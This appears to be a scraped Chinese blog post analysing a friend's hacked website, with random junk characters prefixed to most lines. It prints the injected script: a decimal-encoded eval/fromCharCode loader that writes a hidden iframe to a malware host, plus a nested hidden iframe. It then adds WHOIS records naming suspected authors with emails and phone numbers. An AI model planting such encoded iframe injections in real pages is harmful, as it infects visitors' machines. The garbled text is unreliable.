首发在我的博客里面，
? M6ag_h3 .tF|YP== http://www.areway.cn/?p=175 80ZnM%/} PI|`vC|yy& tkuc/Z/@ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
dL;HV8z^ 6J%iZ <script>t=’60,105,102,114,97,109,101,
,#'7)M D8 32,115,114,99,61,104,116,116,112,58,47,47,
0,FC
YTtj$ 102,114,101,101,46,117,45,117,117,117,46,99,
o ;`!kIQ 110,47,101,114,114,111,114,46,104,116,109,
3 @5p"X 32,119,105,100,116,104,61,49,48,48,32,104,
iRV ;Fks 101,105,103,104,116,61,48,62,60,47,105,102,
`1p 8C% 114,97,109,101,62′;
$W!]fc ZlB t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
K]N~~*`%` M?o{STt <script>t=’60,105,102,114,97,109,101,32,115,
3;$b S<> 114,99,61,104,116,116,112,58,47,47,102,114,
w;yx<1f 101,101,46,117,45,117,117,117,46,99,110,47,
H`<?<ak6'M 101,114,114,111,114,46,104,116,109,32,119,
ValS8V*N1 105,100,116,104,61,49,48,48,32,104,101,105,
]TK=>;& 103,104,116,61,48,62,60,47,105,102,114,97,
17py ).\ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
d c^Vc{26Z document.write(t);</script>
*n]f) Jc L?h'^*F H} <html xmlns=”
7# !RX3 http://www.w3.org/1999/xhtml nev@ykP6 “>
>`{B <head>
+q<G%PwbV <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
76 ] X <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
*.F^`]yz <title>首页 - 爱生活家庭网
zvEof K r~2 >_LK 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
JJE?!Yvc 转换字符串后的大概内容是（谁点击后果自付）：
$tm%=g^ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
vIzREu|5 U=ek_FO 查询玉米u-uuu.cn的详细信息：
'DeI]IeP Domain Name: u-uuu.cn
3fBV
SFVS ROID: 20070901s10001s64972306-cn
qnc?&f Domain Status: ok
"O (N=|b Registrant Organization: 王雷
]wxjd
l Registrant Name: 王雷
THN/ /}d Administrative Email:
czlovexs@126.com v^0*{7N' Sponsoring Registrar: 北京万网志成科技有限公司
\- `,fat Name Server:ns.yovole.com
or<n[<D-C Name Server:ns1.yovole.com
`AcUxnO Registration Date: 2007-09-01 17:54
w ag^S k Expiration Date: 2008-09-01 17:54
@'AjEl:&-_ 最后PING了一下地址 都没有什么….
VY1&YR}Y 3u,C I! 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
d }:e L C <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
xCTPsw]s <script language=”javascript” src=”
R ]LuZN http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script /XVjcD66c >
T%N m 这个玉米应该有可能是木马作者的：
d YliC foafau.info的详细信息：
{VmJVO]S Access to INFO WHOIS information is provided to assist persons in
wJAJ / determining the contents of a domain name registration record in the
fHV%.25 Afilias registry database. The data in this record is provided by
gVs cdg5 Afilias Limited for informational purposes only, and Afilias does not
t@vVE{` guarantee its accuracy. This service is intended only for query-based
%iq8dAW% access. You agree that you will use this data only for lawful purposes
|PNPOj0 and that, under no circumstances will you use this data to: (a) allow,
yQ z6K6p enable, or otherwise support the transmission by e-mail, telephone, or
"h`oT4j5q facsimile of mass unsolicited, commercial advertising or solicitations
b/s oU2?^ to entities other than the data recipient’s own existing customers; or
&l8elj g (b) enable high volume, automated, electronic processes that send
EGMIw?%Y`- queries or data to the systems of Registry Operator, a Registrar, or
'>:c:Tewy Afilias except as reasonably necessary to register domain names or
CK=TD`$w modify existing registrations. All rights reserved. Afilias reserves
Da3Z>/S the right to modify these terms at any time. By submitting this query,
eHl)/=' you agree to abide by this policy.
5._1G| 3 Domain ID:D22418703-LRMS
;@<Rh^g] Domain Name:FOAFAU.INFO
, G2( l Created On:20-Nov-2007 16:05:42 UTC
;O~k{5.iS Last Updated On:20-Nov-2007 16:05:44 UTC
F%ffnEJg Expiration Date:20-Nov-2008 16:05:42 UTC
1=L5=uz1d: Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Q) [DSM Status:CLIENT DELETE PROHIBITED
/UG]hJ-wn Status:CLIENT RENEW PROHIBITED
5< $8.a# Status:CLIENT TRANSFER PROHIBITED
kxH`
c Status:CLIENT UPDATE PROHIBITED
OpD%l Rl Status:TRANSFER PROHIBITED
K6EG"Vv! Registrant ID:GODA-040110615
:\F1S:&P Registrant Name:liu hong
Ly P Cc| Registrant Organization:
M .o H,Kd6 Registrant Street1:beijing
aoHAB<.C Registrant Street2:
{2.zzev' Registrant Street3:
BV zMgn; Registrant City:beijing
Wl0p-h Registrant State/Province:
92(P~Sdv Registrant Postal Code:100000
, <s/K Registrant Country:CN
,(3oAj\ Registrant Phone:+86.860108888777
mW=9WV Registrant Phone Ext.:
;DgQ8"f Registrant FAX:
Y(&rlL(sPK Registrant FAX Ext.:
R ~"&E#C Registrant Email:bbbshiji@163.com
\C<'2KZR, Admin ID:GODA-240110615
}eAV 8LU Admin Name:liu hong
/hSEm.< Admin Organization:
Oq*;G R(Q Admin Street1:beijing
$1y8X K7r Admin Street2:
cV4]Y(9 Admin Street3:
F4 ]=(T Admin City:beijing
] ^53Qbrv Admin State/Province:
DX_?-jw})f Admin Postal Code:100000
VHm.uL_UW Admin Country:CN
@TJ2
|_s6] Admin Phone:+86.860108888777
#.{ddY{ Admin Phone Ext.:
*]:J@KGf Admin FAX:
_<%YLv Admin FAX Ext.:
*?pnTQs^ Admin Email:bbbshiji@163.com
'{w[) .c. Billing ID:GODA-340110615
"*LQr~k~} Billing Name:liu hong
9@8'*a{`m Billing Organization:
&$heW, Billing Street1:beijing
}5AA}= Billing Street2:
@E4ya$A)F Billing Street3:
mwutv8? Billing City:beijing
7Ue& y8Yf Billing State/Province:
sI MN""@Y^ Billing Postal Code:100000
@JP z| Billing Country:CN
2^%O%Pc Billing Phone:+86.860108888777
A=sz8?K+` Billing Phone Ext.:
Y;"jsK{$ Billing FAX:
z.|[g$F Billing FAX Ext.:
5+2qx)FZ Billing Email:bbbshiji@163.com
`CRF E5 Tech ID:GODA-140110615
~ike&k { Tech Name:liu hong
V 4&a+MJ@ Tech Organization:
1)3'Y2N* Tech Street1:beijing
oB(9{6@N Tech Street2:
L2c\i Tech Street3:
FX!Qd&kl1 Tech City:beijing
U ]W " Tech State/Province:
G8WPXj( Tech Postal Code:100000
#qARcxbK| Tech Country:CN
N2 t` Tech Phone:+86.860108888777
22*~CIh~x Tech Phone Ext.:
'w=aLu5dY Tech FAX:
T7 |=`~ Tech FAX Ext.:
U02 Tech Email:bbbshiji@163.com
kt k S$ Name Server:NS27.DOMAINCONTROL.COM
*zMt/d*<& Name Server:NS28.DOMAINCONTROL.COM
Y6T{/! Name Server:
yMD3h$w3a Name Server:
^Rtxef Name Server:
>2F9Tz,3 Name Server:
P$]K Name Server:
1,7
}ah_ Name Server:
E:-~SH} Name Server:
MdFFt:y: Name Server:
D< kf/hj Name Server:
,g4T>7`&U% Name Server:
Dk&(QajL Name Server:
RY3=UeoF ?mF:L"i 接着下载每个文件里面的代码：
fQ 1D p 一步一步看..
}=JS d@`_ 
$ i nKI 
HCx0'|J 
C ^c <s 
o2 ;Eti 
'blMwD{0&\ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
